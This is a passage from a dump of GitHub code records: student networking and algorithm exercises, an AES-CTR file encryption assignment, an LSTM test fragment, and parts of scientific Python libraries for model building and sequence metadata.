1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 9.9999e-01],\n [9.9999e-01, 3.3356e-06]],dtype=torch.float32)\n\ninput2 = torch.tensor([[[1., 0.],\n [1., 0.],\n [1., 0.],\n [0., 1.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [0., 1.],\n [0., 1.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [1., 0.],\n [0., 1.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [1., 0.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.]]], dtype=torch.float32)\n\nprint('************************************************')\n\n# print(seqToSelfMadeLSTM(input2))\n#\n# _=seqToSelfMadeLSTM(input2)\n#\n# h_prev_values_2, out_selfmade_model_2, sigmoid_output_values_2, it_values_2, ft_values_2, ct_values_2, ctilde_values_2, ot_values_2, ht_values_2=seqToSelfMadeLSTM(input2)\n\n\ndef compareLSTMModelResults(output_selfmade, output_readymade):\n \n differenceFlag = False\n difference_tensor = abs(torch.sub(output_selfmade,output_readymade))\n difference_threshold_boolean_tensor = torch.gt(difference_tensor,1e-5)\n if torch.all(difference_threshold_boolean_tensor==False):\n differenceFlag = True\n else:\n differenceFlag=False\n\n return differenceFlag, difference_tensor, difference_threshold_boolean_tensor\n\nprint(compareLSTMModelResults(out_selfmade_model_1,out_readymade_model_1))\n\ndiff_flag_1, diff_tensor_1, diff_threshold_bool_tensor_1 = compareLSTMModelResults(out_selfmade_model_1,out_readymade_model_1)\nprint(diff_flag_1)\n\n\n","repo_name":"nadineelnaggar/Plain-RNN-Counter-Experiments","sub_path":"main_batch_test_only_lstm_indicators.py","file_name":"main_batch_test_only_lstm_indicators.py","file_ext":"py","file_size_in_byte":45851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"25951190611","text":"from os.path import dirname, basename, isfile, join\nimport glob\nimport re\n\nfrom .utils import entryObj, navObj, log\n\nmods = []\nsearches = {}\n\nfiles = glob.glob(join(dirname(__file__), \"*.py\"))\nfor f in files:\n if isfile(f) and not f.endswith('__.py'):\n name = basename(f)[:-3]\n __import__('%s.%s' %(__package__, name))\n mod = globals()[name]\n if hasattr(mod, 'VALID_URL') and hasattr(mod, 'extract'):\n mods.append(mod)\n for s in dir(mod):\n if s.startswith('search_'):\n searches[s[7:]] = vars(mod)[s]\n\ndef extract(url):\n for m in mods:\n if re.search(m.VALID_URL, url):\n return m.extract(url)\n return None\n\ndef extract_debug(url):\n results = extract(url)\n if results:\n for idx, obj in enumerate(results, 1):\n log('%s:' %(idx))\n obj.show()\n\ndef search(q, s=None, x=None):\n s = s or 'youtube'\n if searches.has_key(s):\n return searches[s](q, x)\n return None\n\ndef search_debug(q, s='youtube', x=None):\n results = search(q, s, x)\n if results:\n for idx, obj in enumerate(results, 1):\n log('%s:' %(idx))\n obj.show()\n\n","repo_name":"JiasHuang/vod","sub_path":"web/extractors/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"4438719777","text":"from socket import *\nimport sys\n\nserverSocket = socket(AF_INET, SOCK_STREAM)\n\n#Prepare a server socket\n#Fill in start\nserverPort = 12345\nserverSocket.bind(('', serverPort))\nserverSocket.listen(1)\n#Fill in end\n\nwhile True:\n #Establish the connection\n print('Ready to serve...')\n connectionSocket, addr = serverSocket.accept() #Fill in start #Fill in end\n try:\n message = connectionSocket.recv(1024)\n print(message)\n\n filename = message.split()[1]\n f = open(filename[1:])\n outputdata = f.read()\n\n #Send one HTTP header line into socket\n print(\"Success!\\n\\n\")\n connectionSocket.send(\"\\nHTTP/1.x 200 OK\\n\")\n\n #Send the content of the requested file to the client\n for i in range(0, len(outputdata)):\n connectionSocket.send(outputdata[i].encode())\n\n connectionSocket.send(\"\\r\\n\".encode())\n connectionSocket.close()\n except IOError:\n #Send response message for file not found (404)\n print(\"Failure: file not found!\\n\\n\")\n connectionSocket.send(\"\\n404 File Not Found\\n\")\n connectionSocket.send(\"\\r\\n\".encode())\n\n #Close client socket\n connectionSocket.close()\n\nserverSocket.close()\nsys.exit() #Terminate the program after sending the corresponding data","repo_name":"xiaolin-ninja/network_security_labs","sub_path":"web_server_lab/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"33098111589","text":"def bin_search(arr=[], high=0, low=0, num=0):\n mid = int((high + low) / 2)\n if high <= low:\n return -1\n if num > arr[mid]:\n low = mid + 1\n return bin_search(arr, high, low, num)\n if num < arr[mid]:\n high = mid - 1\n return bin_search(arr, high, low, num)\n if num == arr[mid]:\n return mid\n\n\n# arr = []\n# fib cach tao list phu\ndef fib(arr, n):\n if n == 0:\n arr.append(0)\n return 0\n if n == 1:\n arr.append(1)\n return 1\n arr.append(fib(arr, n - 2) + fib(arr, n - 1))\n return arr[n]\n\n\n# fib cach recurse k dung list phu\ndef fib2(n, a, b):\n if n == 0:\n return 0\n if n == 1:\n arr.append(1)\n return 1\n\n\n# fib dung for\ndef fib3():\n a = b = 1\n for i in range(10):\n a, b = a + b, a\n\n arr = []\n print(fib(arr, 5))\n\n\n# arr = [1,2,3,4,5]\n# num = 0\n# print(bin_search(arr, 4, 0, num))\n\ndef reverse_string(s=\"\"):\n if len(s) == 0:\n return s\n else:\n return reverse_string(s[1:]) + s[0]\n\n\n# def partition(arr, start, end):\n# pivot = arr[end]\n# i = start - 1\n# for j in range(start, end):\n# if arr[j] < pivot:\n# i+=1\n# tmp = arr[i]\n# arr[i] = arr[j]\n# arr[j] = tmp\n# i+=1\n# tmp = arr[i]\n# arr[i] = arr[end]\n# arr[end] = tmp\n#\n# return i\n# def quick_sort(arr, start, end):\n# if end <= start:\n# return\n# pivot = partition(arr, start, end)\n# quick_sort(arr, start, pivot-1)\n# quick_sort(arr, pivot+1, end)\n\n\ndef partition(arr, start, end):\n pivot = arr[end]\n i = start - 1\n for j in range(start, end):\n if arr[j] < pivot:\n i += 1\n tmp = arr[i]\n arr[i] = arr[j]\n arr[j] = tmp\n i += 1\n tmp = arr[i]\n arr[i] = arr[end]\n arr[end] = tmp\n return i\n\n\ndef sort(arr, start, end):\n if end <= start:\n return\n pivot = partition(arr, start, end)\n sort(arr, start, pivot - 1)\n sort(arr, pivot + 1, end)\n\n\n\n\n\narr = [9, 8, 5, 4, 3, 2, 1]\nsort(arr, 0, len(arr) - 1)\nprint(arr)\n\ns = \"hello\"\nprint(reverse_string(s))\n","repo_name":"vuxminhan/DSEB63-Data-structures-and-Algorithms","sub_path":"src/lect_3/lect3.py","file_name":"lect3.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"25098266861","text":"import os\nimport sys\nimport datetime\n\nsBox = [\n [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76],\n [0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0],\n [0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15],\n [0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75],\n [0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84],\n [0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF],\n [0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8],\n [0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2],\n [0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73],\n [0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB],\n [0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79],\n [0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08],\n [0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A],\n [0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E],\n [0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF],\n [0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]\n]\n\ndef split_grids_in_16(s):\n all_grid = []\n for i in range(len(s)//16):\n b = s[i*16: i*16 + 16]\n grid = [[], [], [], []]\n for i in range(4):\n for j in range(4):\n grid[i].append(b[i + j*4])\n all_grid.append(grid)\n return all_grid\n\ndef add_round_key(expanded_key, round):\n return [row[round*4: round*4 + 4] for row in expanded_key]\n\ndef sbox(byte):\n x = byte >> 4\n y = byte & 15\n return sBox[x][y]\n\ndef expand_key(key, rounds):\n\n round_constants = [[1, 0, 0, 0]]\n\n for _ in range(1, rounds):\n round_constants.append([round_constants[-1][0]*2, 0, 0, 0])\n if round_constants[-1][0] > 0x80:\n round_constants[-1][0] ^= 0x11b\n\n key_grid = split_grids_in_16(key)[0]\n\n for round in range(rounds):\n last_column = [row[-1] for row in key_grid]\n last_column_rotate_step = rotate_row_left(last_column)\n last_column_sbox_step = [sbox(b) for b in last_column_rotate_step]\n last_column_round_constants_step = [last_column_sbox_step[i] ^ round_constants[round][i] for i in range(len(last_column_rotate_step))]\n\n for r in range(4):\n key_grid[r] += bytes([last_column_round_constants_step[r] ^ key_grid[r][round*4]])\n\n for i in range(len(key_grid)):\n for j in range(1, 4):\n key_grid[i] += bytes([key_grid[i][round*4+j] ^ key_grid[i][round*4+j+3]])\n\n return key_grid\n\ndef rotate_row_left(row, n=1):\n return row[n:] + row[:n]\n\ndef multiply_by_2(v):\n s = v << 1\n s &= 0xff\n if (v & 128) != 0:\n s = s ^ 0x1b\n return s\n\ndef multiply_by_3(v):\n return multiply_by_2(v) ^ v\n\ndef mix_columns(grid):\n new_grid = [[], [], [], []]\n for i in range(4):\n col = [grid[j][i] for j in range(4)]\n col = mix_column(col)\n for i in range(4):\n new_grid[i].append(col[i])\n return new_grid\n\ndef mix_column(column):\n r = [\n multiply_by_2(column[0]) ^ multiply_by_3(column[1]) ^ column[2] ^ column[3],\n multiply_by_2(column[1]) ^ multiply_by_3(column[2]) ^ column[3] ^ column[0],\n multiply_by_2(column[2]) ^ multiply_by_3(column[3]) ^ column[0] ^ column[1],\n multiply_by_2(column[3]) ^ multiply_by_3(column[0]) ^ column[1] ^ column[2],\n ]\n return r\n\ndef add_sub_key(block_grid, key_grid):\n r = []\n for i in range(4):\n r.append([])\n for j in range(4):\n r[-1].append(block_grid[i][j] ^ key_grid[i][j])\n return r\n\ndef enc(key, data):\n grids = split_grids_in_16(data)\n\n expanded_key = expand_key(key, 11)\n\n temp_grids = []\n round_key = add_round_key(expanded_key, 0)\n\n for grid in grids:\n temp_grids.append(add_sub_key(grid, round_key))\n\n grids = temp_grids\n\n for round in range(1, 10):\n temp_grids = []\n\n for grid in grids:\n sub_bytes_step = [[sbox(val) for val in row] for row in grid]\n shift_rows_step = [rotate_row_left(\n sub_bytes_step[i], i) for i in range(4)]\n mix_column_step = mix_columns(shift_rows_step)\n round_key = add_round_key(expanded_key, round)\n add_sub_key_step = add_sub_key(mix_column_step, round_key)\n temp_grids.append(add_sub_key_step)\n\n grids = temp_grids\n\n temp_grids = []\n round_key = add_round_key(expanded_key, 10)\n\n for grid in grids:\n sub_bytes_step = [[sbox(val) for val in row] for row in grid]\n shift_rows_step = [rotate_row_left(\n sub_bytes_step[i], i) for i in range(4)]\n add_sub_key_step = add_sub_key(shift_rows_step, round_key)\n temp_grids.append(add_sub_key_step)\n\n grids = temp_grids\n\n int_stream = []\n\n for grid in grids:\n for column in range(4):\n for row in range(4):\n int_stream.append(grid[row][column])\n\n return bytes(int_stream)\n \nclass AESScratch:\n def __init__(self, key, nonce):\n self.key = key\n self.nonce = nonce\n\n def createcounter(self, filelength):\n blocknum = filelength // 16\n if filelength % 16 != 0:\n blocknum += 1\n\n counter = \"\"\n\n for x in range(blocknum):\n counter += self.nonce.decode()\n counter += '%08d' % x\n\n return counter\n\n def ctr(self, filename):\n try:\n filelength = os.stat(filename).st_size\n except Exception as e:\n return str(e)\n\n # combine nonce with counter\n counter = self.createcounter(filelength).encode()\n\n result = enc(self.key, counter)\n\n # aes encryption\n return result\n\n def encrypt(self, filename):\n time_start = datetime.datetime.now()\n counter = self.ctr(filename)\n\n # read plain text\n try:\n fp = open(f\"{filename}\", 'rb')\n plaintext = fp.read()\n fp.close()\n except Exception as e:\n return str(e)\n\n # unpad counter\n filelength = os.stat(filename).st_size\n counter = counter[:filelength]\n\n # xor plain text with encrypted counter\n int_counter = int.from_bytes(counter, sys.byteorder)\n int_plaintext = int.from_bytes(plaintext, sys.byteorder)\n int_ciphertext = int_counter ^ int_plaintext\n ciphertext = int_ciphertext.to_bytes(len(counter), sys.byteorder)\n\n encryptedfilename = filename + \".enc\"\n self.convertfile(ciphertext, filename, encryptedfilename)\n\n time_end = datetime.datetime.now()\n time_total = time_end - time_start\n return(f\"file {filename} has been encrypted to {encryptedfilename} with total time {time_total} seconds\")\n\n def decrypt(self, filename):\n time_start = datetime.datetime.now()\n counter = self.ctr(filename)\n\n # read ciphertext\n try:\n fp = open(f\"{filename}\", 'rb')\n ciphertext = fp.read()\n fp.close()\n except Exception as e:\n return str(e)\n\n # unpad counter\n filelength = os.stat(filename).st_size\n counter = counter[:filelength]\n\n # xor ciphertext with encrypted counter\n int_counter = int.from_bytes(counter, sys.byteorder)\n int_ciphertext = int.from_bytes(ciphertext, sys.byteorder)\n int_plaintext = int_counter ^ int_ciphertext\n plaintext = int_plaintext.to_bytes(len(counter), sys.byteorder)\n\n decryptedfilename = filename[:-4]\n self.convertfile(plaintext, filename, decryptedfilename)\n\n time_end = datetime.datetime.now()\n time_total = time_end - time_start\n return (f\"file {filename} has been decrypted to {decryptedfilename} with total time {time_total} seconds\")\n\n def convertfile(self, text, fromfile, tofile):\n fp = open(f\"{tofile}\", 'wb+')\n fp.write(text)\n fp.close()\n os.remove(fromfile)\n return\n\n ","repo_name":"anggunw/KIJ_Group_Assignments","sub_path":"1_AES_Encryption/aes_scratch.py","file_name":"aes_scratch.py","file_ext":"py","file_size_in_byte":8560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"20738040552","text":"import os\nimport pickle\nimport numpy as np\n\nfrom sklearn.preprocessing import MinMaxScaler \nfrom sklearn.preprocessing import StandardScaler \nfrom sklearn.preprocessing import RobustScaler\n\nfrom flame.stats.RF import RF\nfrom flame.stats.SVM import SVM\nfrom flame.stats.GNB import GNB\nfrom flame.stats.PLSR import PLSR\nfrom flame.stats.PLSDA import PLSDA\nfrom flame.stats import feature_selection\nfrom flame.stats.combo import median, mean, majority, logicalOR, matrix\nfrom flame.stats.imbalance import run_imbalance \n\nfrom flame.graph.graph import generateProjectedSpace\n\nfrom flame.util import utils, get_logger\nLOG = get_logger(__name__)\n\nclass Learn:\n\n def __init__(self, parameters, conveyor):\n\n self.param = parameters\n self.conveyor = conveyor\n\n self.X = self.conveyor.getVal('xmatrix')\n self.Y = self.conveyor.getVal('ymatrix')\n\n # Preprocessing variables\n self.scaler = None\n self.variable_mask = None\n\n\n\n def run_custom(self):\n '''\n Build a model using custom code to be defined in the learn child\n classes.\n '''\n\n self.conveyor.setError ('Not implemented')\n\n\n def preprocess(self):\n ''' \n This function scales the X matrix and selects features \n The scaler and the variable mask are saved in a pickl file \n '''\n\n # Perform subsampling on the majority class. Consider to move.\n # Only for qualitative endpoints.\n if self.param.getVal(\"imbalance\") is not None and not self.param.getVal(\"quantitative\"):\n success, mask = run_imbalance(self.param.getVal('imbalance'), self.X, self.Y)\n if not success:\n return False, mask\n\n LOG.info(f'{self.param.getVal(\"imbalance\")} performed')\n\n # print (mask)\n\n # ammend object already copied in the object\n self.X = self.X[mask==1]\n self.Y = self.Y[mask==1]\n\n # ammend conveyor elements representing arrays of objects\n # as well as obj_num and xmatrix\n objnum = len(mask[mask==1])\n self.conveyor.setVal('obj_num', objnum)\n LOG.info(f'Number of objects after sampling: {objnum}')\n\n # arrays of objects in conveyor\n objkeys = self.conveyor.objectKeys()\n \n for ikey in objkeys: \n ilist = self.conveyor.getVal(ikey)\n\n # keys are experim or ymatrix are numpy arrays\n # if 'numpy.ndarray' in str(type(ilist)):\n if isinstance(ilist, np.ndarray):\n ilist = ilist[mask==1]\n\n # other keys are regular list\n else:\n len_list = len(ilist)\n red_len_list = len_list-1\n\n # elements are removed in reverse order, so the removed\n # elements do not change the indexes of the remaining \n # items to be deleted\n for i in range(len_list):\n ireverse = red_len_list-i\n if mask[ireverse] == 0:\n del ilist[ireverse]\n\n self.conveyor.setVal(ikey, ilist)\n \n # update also xmatrix, since it is labeled as vars\n self.conveyor.addVal(self.X, 'xmatrix', 'X matrix',\n 'method', 'vars', 'Molecular descriptors')\n\n\n # Run scaling.\n self.scaler = None\n\n # # update if other fingerprints are added\n # isFingerprint = (self.param.getVal('computeMD_method') == ['morganFP'])\n\n # if self.param.getVal('modelAutoscaling') and \\\n # not isFingerprint:\n\n scale_method = self.param.getVal('modelAutoscaling')\n \n # prevent the scaling of input which must be binary or with preserved values\n non_scale_list = ['majority','logicalOR','matrix']\n if self.param.getVal('model') in non_scale_list and scale_method is not None:\n LOG.info(f\"Method '{self.param.getVal('model')}' is incompatible with '{scale_method}' scaler. Forced to 'None'\")\n scale_method = None\n\n if scale_method is not None:\n try:\n scaler = None\n if scale_method == 'StandardScaler':\n scaler = StandardScaler()\n\n elif scale_method == 'MinMaxScaler':\n scaler = MinMaxScaler(copy=True, feature_range=(0,1))\n\n elif scale_method == 'RobustScaler':\n scaler = RobustScaler()\n\n else:\n return False, 'Scaler not recognized'\n\n if scaler is not None:\n\n LOG.info(f'Data scaled with method: {scale_method}')\n\n # The scaler is saved so it can be used later\n # to prediction instances.\n self.scaler = scaler.fit(self.X)\n\n # Scale the data.\n self.X = scaler.transform(self.X)\n\n except Exception as e:\n return False, f'Unable to perform scaling with exception: {e}'\n \n # Run feature selection. Move to a instance method.\n if self.param.getVal(\"feature_selection\"):\n # TODO: implement feature selection with other scalers\n self.variable_mask, self.scaler = \\\n feature_selection.run_feature_selection(\n self.X, self.Y, self.scaler,\n self.param)\n self.X = self.X[:, self.variable_mask]\n\n # Set the new number of instances/variables\n # if sampling/feature selection performed\n self.nobj, self.nvarx = np.shape(self.X)\n\n # Check X and Y integrity.\n if (self.nobj == 0) or (self.nvarx == 0):\n return False, 'No objects/variables in the matrix'\n\n if len(self.Y) == 0:\n self.failed = True\n return False, 'No activity values'\n\n # This dictionary contain all the objects which will be needed\n # for prediction\n prepro = {'scaler':self.scaler,\\\n 'variable_mask':self.variable_mask,\\\n 'version':1}\n\n prepro_pkl_path = os.path.join(self.param.getVal('model_path'),\n 'preprocessing.pkl')\n \n with open(prepro_pkl_path, 'wb') as handle:\n pickle.dump(prepro, handle, \n protocol=pickle.HIGHEST_PROTOCOL)\n\n LOG.debug('Model saved as:{}'.format(prepro_pkl_path))\n return True, 'OK'\n\n\n def run_internal(self):\n '''\n Builds a model using the internally defined machine learning tools.\n\n All input parameters are extracted from self.param.\n\n The main output is an instance of basemodel saved in\n the model folder as a pickle (model.pkl) and used for prediction.\n\n The results of building and validation are added to results,\n but also saved to the model folder as a pickle (info.pkl)\n for being displayed in manage tools.\n '''\n\n # expand with new methods here:\n registered_methods = [('RF', RF),\n ('SVM', SVM),\n ('GNB', GNB),\n ('PLSR', PLSR),\n ('PLSDA', PLSDA), \n ('median', median),\n ('mean', mean),\n ('majority', majority),\n ('logicalOR', logicalOR),\n ('matrix', matrix)]\n\n if self.param.getVal('model') == 'XGBOOST':\n from flame.stats.XGboost import XGBOOST\n registered_methods.append( ('XGBOOST', XGBOOST))\n\n # check suitability of Y matrix\n if not self.param.getVal('quantitative') :\n success, yresult = utils.qualitative_Y(self.Y)\n if not success:\n self.conveyor.setError(yresult)\n return\n\n # pre-process data\n success, message = self.preprocess()\n if not success:\n self.conveyor.setError(message)\n return\n\n # collect model information from parameters\n model_type_info = []\n model_type_info.append(('quantitative', 'True if the endpoint is quantitative', self.param.getVal('quantitative')))\n model_type_info.append(('conformal', 'True if the endpoint is conformal', self.param.getVal('conformal')))\n model_type_info.append(('ensemble', 'True if the model is an ensemble of models', self.param.getVal('input_type') == 'model_ensemble'))\n model_type_info.append(('ensemble_names', 'List of ensemble models', self.param.getVal('ensemble_names')))\n model_type_info.append(('ensemble_versions', 'List of ensemble versions', self.param.getVal('ensemble_versions')))\n model_type_info.append(('conformal_confidence', 'Confidence of the conformal model', self.param.getVal('conformalConfidence')))\n\n self.conveyor.addVal(\n model_type_info,\n 'model_type_info',\n 'model type information',\n 'method',\n 'single',\n 'Information about the type of model')\n\n # instantiate an appropriate child of base_model\n model = None\n for imethod in registered_methods:\n if imethod[0] == self.param.getVal('model'):\n\n # we instantiate the subtype of base_model, \n # passing \n # - preteated X and Y matrices for model building\n # - model parameters (param) \n # - already obtained results (conveyor)\n\n model = imethod[1](self.X, self.Y, self.param, self.conveyor)\n LOG.debug('Recognized learner: '\n f\"{self.param.getVal('model')}\")\n break\n\n if not model:\n self.conveyor.setError(f'Modeling method {self.param.getVal(\"model\")}'\n 'not recognized')\n LOG.error(f'Modeling method {self.param.getVal(\"model\")}'\n 'not recognized')\n return\n \n if self.conveyor.getError():\n return\n\n # build model\n LOG.debug('Starting model building')\n success, model_building_results = model.build()\n if not success:\n self.conveyor.setError(model_building_results)\n return\n\n self.conveyor.addVal(\n model_building_results,\n 'model_build_info',\n 'model building information',\n 'method',\n 'single',\n 'Information about the model building')\n\n # validate model\n if self.param.getVal('input_type') == 'model_ensemble':\n validation_method = 'ensemble validation'\n else:\n validation_method = self.param.getVal(\"ModelValidationCV\")\n LOG.info(f'Validating the model using method: {validation_method}')\n success, model_validation_results = model.validate()\n if not success:\n self.conveyor.setError(model_validation_results)\n return\n\n # model_validation_results is a dictionary which contains model_validation_info and \n # (optionally) Y_adj and Y_pred, depending on the model type \n \n self.conveyor.addVal(\n model_validation_results['quality'],\n 'model_valid_info',\n 'model validation information',\n 'method',\n 'single',\n 'Information about the model validation')\n\n # non-conformal qualitative and quantitative models\n if 'Y_adj' in model_validation_results:\n self.conveyor.addVal(\n model_validation_results['Y_adj'],\n 'Y_adj',\n 'Y fitted',\n 'result',\n 'objs',\n 'Y values of the training series fitted by the model')\n \n if 'Y_pred' in model_validation_results:\n self.conveyor.addVal(\n model_validation_results['Y_pred'],\n 'Y_pred',\n 'Y predicted',\n 'result',\n 'objs',\n 'Y values of the training series predicted by the model')\n\n if 'Conformal_prediction_ranges' in model_validation_results:\n self.conveyor.addVal(\n model_validation_results['Conformal_prediction_ranges'],\n 'Conformal_prediction_ranges',\n 'Conformal prediction ranges',\n 'method',\n 'objs',\n 'Interval for the cross-validated predictions')\n\n if 'Conformal_prediction_ranges_fitting' in model_validation_results:\n self.conveyor.addVal(\n model_validation_results['Conformal_prediction_ranges_fitting'],\n 'Conformal_prediction_ranges_fitting',\n 'Conformal prediction ranges fitting',\n 'method',\n 'objs',\n 'Interval for the predictions in fitting') \n\n # conformal qualitative models produce a list of tuples, indicating\n # if the object is predicted to belong to class 0 and 1\n if 'classes' in model_validation_results:\n for i in range(len(model_validation_results['classes'][0])):\n class_key = 'c' + str(i)\n class_label = 'Class ' + str(i)\n class_list = model_validation_results['classes'][:, i].tolist()\n self.conveyor.addVal( class_list, \n class_key, class_label,\n 'result', 'objs', \n 'Conformal class assignment',\n 'main')\n\n # conformal quantitataive models produce a list of tuples, indicating\n # the minumum and maximum value\n\n # TODO: compute AD (when applicable)\n\n # generate a proyected space and use it to generate graphics\n generateProjectedSpace(self.X, self.param, self.conveyor)\n\n LOG.info('Model finished successfully')\n\n # save model\n model.save_model()\n\n return\n\n def run(self):\n '''\n Builds the model using the appropriate toolkit (internal or custom).\n '''\n\n toolkit = self.param.getVal('modelingToolkit')\n\n if toolkit == 'internal':\n LOG.info('Using internal machine learning toolkit')\n self.run_internal()\n\n elif toolkit == 'custom':\n LOG.info('Unsing custom machine learning toolkit')\n self.run_custom()\n else:\n LOG.error(\"Modeling toolkit is not yet supported\")\n self.conveyor.setError( 'modeling Toolkit ' + \\\n toolkit+' is not supported yet')\n\n return \n","repo_name":"EMVGaron/flame","sub_path":"flame/learn.py","file_name":"learn.py","file_ext":"py","file_size_in_byte":14981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"76"} +{"seq_id":"21773854499","text":"\"\"\"\nComponents used for setting sequence metadata when building a fold database.\nHere, \"metadata\" is used to mean the sequence name and description. For example,\nthe following FASTA sequence has a ``name`` of ``1ABC_D`` and a ``description``\nof ``Example sequence``:\n\n.. code-block:: none\n\n > 1ABC_D Example sequence\n ...\n\nThe components in this module operate on the ``templates`` list, which is stored\nin the pipeline state. Each element of the ``templates`` list is a dictionary,\nand components in this module add or modify keys in this dictionary based on\nother information about the template. For example, the :py:class:`.NameTemplate`\ncomponent parses information from the ``sequence`` key of each template and\nsets the ``name`` key.\n\"\"\"\n\nfrom phyre_engine.component import Component\nimport re\n\nclass RegexComponent(Component):\n \"\"\"\n Base class of regex-using metadata parsers. Components that read a regular\n expression from a string should inherit from this to ensure that regular\n expressions are treated consistently across components.\n\n :param str regex: Regular expression to search against the sequence name.\n :param bool must_match: If true, any non-matching templates cause an error.\n :param bool unicode_matching: Enable unicode matching, rather than the\n default ASCII-only matching.\n\n .. note::\n\n Regex matching is by default done using the ``ASCII`` flag, because it\n is rare to see sequences with non-ASCII characters in their metadata.\n Unicode matching may be enabled with the ``unicode_match`` parameter.\n \"\"\"\n\n def __init__(self, regex, must_match=False, unicode_matching=False):\n self.must_match = must_match\n if not unicode_matching:\n self.flags = re.ASCII\n else:\n self.flags = 0\n self.regex = re.compile(regex, self.flags)\n\n def _search(self, haystack):\n \"\"\"\n Search for ``self.regex`` in ``haystack``. Aborts if ``must_match``\n and no match was found.\n \"\"\"\n match = self.regex.search(haystack)\n if match is None:\n if self.must_match:\n raise ValueError(\n \"Field '{}' did not match regex {!s}\".format(\n haystack, self.regex.pattern))\n return match\n\nclass ParseField(RegexComponent):\n \"\"\"\n Apply a regular expression to a field of each dictionary in the\n ``templates`` list, adding fields matching all named captures. This may be\n useful, for example, for parsing a PDB ID and chain from the ``name``\n element of a template parsed by\n :py:class:`phyre_engine.component.hhsuite.ReportParser`.\n\n In addition to the ``field`` parameter, this component accepts the\n parameters of its base class, :py:class:`.RegexComponent`.\n\n The following regular expressions may be useful when applied to the ``name``\n field of a sequence parsed from a file:\n\n ``^(?P.*)$``\n Use the entire sequence name to set the ``name`` attribute.\n\n ``^(?P(?P\\w{4})_(?P\\w+))``\n Match a PDB ID separated from a chain ID by an underscore, and store\n the PDB ID and chain ID in the ``PDB`` and ``chain`` elements. Set the\n ``name`` key to the PDB ID and chain ID, separated by an underscore.\n\n :param str field: Name of the field to parse.\n \"\"\"\n CONFIG_SECTION = \"metadata\"\n\n REMOVES = []\n\n @property\n def REQUIRED(self):\n return [self.field]\n\n @property\n def ADDS(self):\n return list(self.regex.groupindex)\n\n def __init__(self, field, *args, **kwargs):\n super().__init__(*args, 